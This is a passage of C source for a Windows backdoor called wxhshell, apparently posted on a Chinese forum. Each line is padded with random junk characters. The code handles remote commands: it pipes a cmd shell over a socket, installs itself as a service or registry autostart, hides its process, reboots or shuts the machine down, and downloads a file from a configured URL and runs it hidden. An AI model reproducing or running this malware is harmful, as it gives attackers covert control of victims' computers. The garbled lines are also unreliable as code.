  // 帮助 5pT8 }?7  
  case '?': { =`ZRPA!aY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i!{A7mo  
    break; 5OCt Q4u  
  } $b~[>S-Q  
  // 安装 XL[Dmu&  
  case 'i': { ZsNZ3;d@u(  
    if(Install()) Z EK,Z['  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OO2uE ;( 3  
    else S]&:R)#@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n$ rgJ  
    break; Xub*i^(]  
    } b:5-0uxjs  
  // 卸载 jM}(?^@  
  case 'r': { &\=Tm~  
    if(Uninstall()) U8.V Rn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7`j%5%q  
    else %M3L<2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '}^qz#w   
    break; K491QXG  
    } 5Gs>rq" #  
  // 显示 wxhshell 所在路径 D;&\)  
  case 'p': { G^sx/H76J  
    char svExeFile[MAX_PATH]; Xs{PAS0  
    strcpy(svExeFile,"\n\r"); _7z]zy@PC5  
      strcat(svExeFile,ExeFile); {O:{F?  
        send(wsh,svExeFile,strlen(svExeFile),0); PJ)l{c  
    break; ur.krsU  
    } 78\j  
  // 重启 jOU99X\0  
  case 'b': { ;X^#$*=Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OxPl0-]t  
    if(Boot(REBOOT)) zO2=o5nF.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %JHv2[r^P  
    else { $4mCtonP=  
    closesocket(wsh); ^TD%l8o6  
    ExitThread(0);  )m#Y^  
    } ,k_"T.w  
    break; q_6fr$-Qh  
    } H $ %F0'0  
  // 关机 &09&;KJ  
  case 'd': { ?nPG#Z|%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h w ^ V  
    if(Boot(SHUTDOWN)) U9\\8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ohbU~R3{U  
    else { EDz;6Z*4N  
    closesocket(wsh); -u(,*9]cJ*  
    ExitThread(0); Lk!m1J5  
    } \FUMfo^  
    break; 6J\ 2 =c`  
    } }L(ZLt8Q  
  // 获取shell Y0Tad?iC  
  case 's': { a4.w2GR  
    CmdShell(wsh); n"`V| UTHP  
    closesocket(wsh); gD51N()s,  
    ExitThread(0); R[14scV  
    break; P z~jW):E  
  } #IZ.px  
  // 退出 ZH|q#< {l  
  case 'x': { 2{.g7bO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yj'9|4%+|  
    CloseIt(wsh); I-}ms  
    break; U3C"o|   
    } QJj='+R>  
  // 离开 G pI4QzR  
  case 'q': { cxQAp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B~^*@5#0|  
    closesocket(wsh); /{:XYeX  
    WSACleanup(); %Z4*;VwQ  
    exit(1); 7~FHn'xt  
    break; 4#}aLP  
        } er5!n e  
  } UOFb.FRP>  
  } mI5J] hk  
;:_AOb31N  
  // 提示信息 J;NIa[a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KJV8y"^=Q  
} tT!' qL.*  
  } bZ1*:k2  
7)]boW~Q  
  return; AmHj\NX$  
} (~eS$8>.  
6lCpf1>6@  
// shell模块句柄 jC_'6sc`  
int CmdShell(SOCKET sock) 24nNRTI  
{ Ufl\ uq3'H  
STARTUPINFO si; {ZrlbDQX  
ZeroMemory(&si,sizeof(si)); I5q $QQK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >I0;MNX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @"` }%-b  
PROCESS_INFORMATION ProcessInfo; c+&Kq.~K  
char cmdline[]="cmd"; rH!sImz,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _]33Ht9  
  return 0; ~Ni  
} z]r'8Jc  
v@|<.  
// 自身启动模式 ~h_ _Y>  
int StartFromService(void) <!g]q1  
{ _qR?5;v  
typedef struct 0uIY6e0E  
{ &:5*^1oP  
  DWORD ExitStatus; >t)Pcf|s  
  DWORD PebBaseAddress; C 2nmSXV  
  DWORD AffinityMask; {j9TzR  
  DWORD BasePriority; sWo}Xq#  
  ULONG UniqueProcessId; < #ON  
  ULONG InheritedFromUniqueProcessId; ;YR /7  
}   PROCESS_BASIC_INFORMATION; ij!d-eM/b  
'=vZAV`  
PROCNTQSIP NtQueryInformationProcess; ?5J# yn  
]y6 {um8"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m=sEB8P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~9 .=t'  
cFw-JM<  
  HANDLE             hProcess; -'g> i  
  PROCESS_BASIC_INFORMATION pbi; w") G:K  
)-_^vB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3nG.ah  
  if(NULL == hInst ) return 0; +Ps.HW#NY  
WI4<2u;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O_8 SlW0e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m{Vd3{H40  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7H)$NG<U$  
I{OizBom  
  if (!NtQueryInformationProcess) return 0; beBG40  
aaig1#a@1b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }ofb]_C,  
  if(!hProcess) return 0; g}v](Q  
l<w7 \a6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o[cOL^Xd1  
]5jS6 @Vl*  
  CloseHandle(hProcess); KR#,6  
":$4/b6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D#L(ZlD4  
if(hProcess==NULL) return 0; q4[8\Ua  
{6H[[7i  
HMODULE hMod; S[exnZ*Y  
char procName[255]; -DdHl8  
unsigned long cbNeeded; ~jL%l  
0WC\u xT7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S~);   
p /-du^:2  
  CloseHandle(hProcess); *rmC3'}s  
?4%H(k5A  
if(strstr(procName,"services")) return 1; // 以服务启动 H P.=6bJWi  
R>O_2`c  
  return 0; // 注册表启动 H[u9C:}9b  
} c'i5,\ #X  
gSwV:hm  
// 主模块 fgd2jr 3T  
int StartWxhshell(LPSTR lpCmdLine) 7S }0Kuk)  
{ VkFh(Br<{  
  SOCKET wsl; 4%J0e'iN  
BOOL val=TRUE; _# sy  
  int port=0; uP'L6p5  
  struct sockaddr_in door; uC;_?Bve  
P)`^rJ6  
  if(wscfg.ws_autoins) Install(); FuiR\"Ww  
u9"yU:1keb  
port=atoi(lpCmdLine); QCW4gIp  
9>&zOITTaL  
if(port<=0) port=wscfg.ws_port; xRD+!3  
;[::&qf  
  WSADATA data; ;|WUbc6&g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OM[MRZEh G  
D{N8q^Cs9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kw$ 7G1Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~{I.qv)>M~  
  door.sin_family = AF_INET; d <}'eBT'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kM506U<g  
  door.sin_port = htons(port); TI DgIK  
_li3cXE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'hjEd.  
closesocket(wsl); h.X4x2(.  
return 1; ML_VD*t9  
} euB1}M  
H7X-\K 1w  
  if(listen(wsl,2) == INVALID_SOCKET) { "@&TC"YG0  
closesocket(wsl); .2f vRN92  
return 1; 7<xnE]jdq  
} X(ph$,[  
  Wxhshell(wsl); t Ly:F*1i  
  WSACleanup(); ^xa, r#N:V  
R'v~:wNTNs  
return 0; &IQ=M.!r  
uI-T]N:W8x  
} 2|>\A.I|=  
9~Dg<wQ  
// 以NT服务方式启动 z ?\it(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m=01V5_  
{ lAU99(GXV  
DWORD   status = 0; .rtA sbp.!  
  DWORD   specificError = 0xfffffff; L~6%Fi&n4  
BTkx}KK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3^UdB9j;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rRq60A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cq2Wpu-u  
  serviceStatus.dwWin32ExitCode     = 0; `DY yK?R  
  serviceStatus.dwServiceSpecificExitCode = 0; ,s~l; Gkj  
  serviceStatus.dwCheckPoint       = 0; vUpAW[[  
  serviceStatus.dwWaitHint       = 0; g0grfGo2p  
m;dwt1'Zw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZIx-mC5  
  if (hServiceStatusHandle==0) return; P4[kW}R  
>$ZG=&  
status = GetLastError(); oN1D&*  
  if (status!=NO_ERROR) l ;:IL\*1I  
{ }Z"iW/?"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -$Z1X_~;)<  
    serviceStatus.dwCheckPoint       = 0; !rUP&DA  
    serviceStatus.dwWaitHint       = 0; 6YM X7G]  
    serviceStatus.dwWin32ExitCode     = status; iqDyE*a  
    serviceStatus.dwServiceSpecificExitCode = specificError; }Ja-0v)Wf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4`,(*igEv  
    return; @)U.Dbm  
  } U>PZ3  
kG>jb!e@(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;MS.ag#  
  serviceStatus.dwCheckPoint       = 0; a#j,0FKv  
  serviceStatus.dwWaitHint       = 0; IIR+qJ__|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y&$n[j  
} #|b*l/t8  
wm`<+K  
// 处理NT服务事件,比如:启动、停止 Yj&Sb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e"04jd/  
{ 9[.HWe,  
switch(fdwControl) P-\f-FS  
{ -+WAaJ(b  
case SERVICE_CONTROL_STOP: a4,V(Hlm  
  serviceStatus.dwWin32ExitCode = 0; i|^Q{3?o#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ! UT'4Fs  
  serviceStatus.dwCheckPoint   = 0; ;@ePu  
  serviceStatus.dwWaitHint     = 0; c|?(>  
  { ~tp]a]yV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uos8Mav{E  
  } ]@$^Ju,  
  return; rt+4-WuK>  
case SERVICE_CONTROL_PAUSE: ~~/,2^   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z Ts*Y,  
  break; y74Q(  
case SERVICE_CONTROL_CONTINUE: $wUYK%.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =*\.zr  
  break; c[Fc3  
case SERVICE_CONTROL_INTERROGATE: _KH91$iW8m  
  break; 60+zoL'  
}; s/"bH3Ob9v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H a!,9{T  
} M/<ypJ  
jR/Gd01)  
// 标准应用程序主函数 <Q|\mUS6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wp?:@XM  
{ kd'b_D[$H  
xk,Uf,,>  
// 获取操作系统版本 x4q}xwH  
OsIsNt=GetOsVer(); # ?2*I2_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]F y' M  
ly%^\jW  
  // 从命令行安装 |}G"^r  
  if(strpbrk(lpCmdLine,"iI")) Install(); , /.@([C  
T~]~'+<Pi  
  // 下载执行文件 {xTq5`&gT  
if(wscfg.ws_downexe) { %> XsKXj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !K-1tp$  
  WinExec(wscfg.ws_filenam,SW_HIDE); $nE{%?n-#  
} =0cTct6\  
rbd0`J9fq  
if(!OsIsNt) { u n v:sV#b  
// 如果时win9x,隐藏进程并且设置为注册表启动 [\ao#f0WR  
HideProc(); \ja6g  
StartWxhshell(lpCmdLine); ..`c# O&  
} <,~OcJG(   
else  :xsZz$  
  if(StartFromService()) `PUqz&  
  // 以服务方式启动 i-CJ{l  
  StartServiceCtrlDispatcher(DispatchTable); UPfE\KN+p#  
else `LkrG9KV{  
  // 普通方式启动 07.p {X R  
  StartWxhshell(lpCmdLine); [edF'7La  
eHgr"f*7   
return 0; CF;Gy L1M  
}
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只看该作者 1 发表于: 2006-10-10
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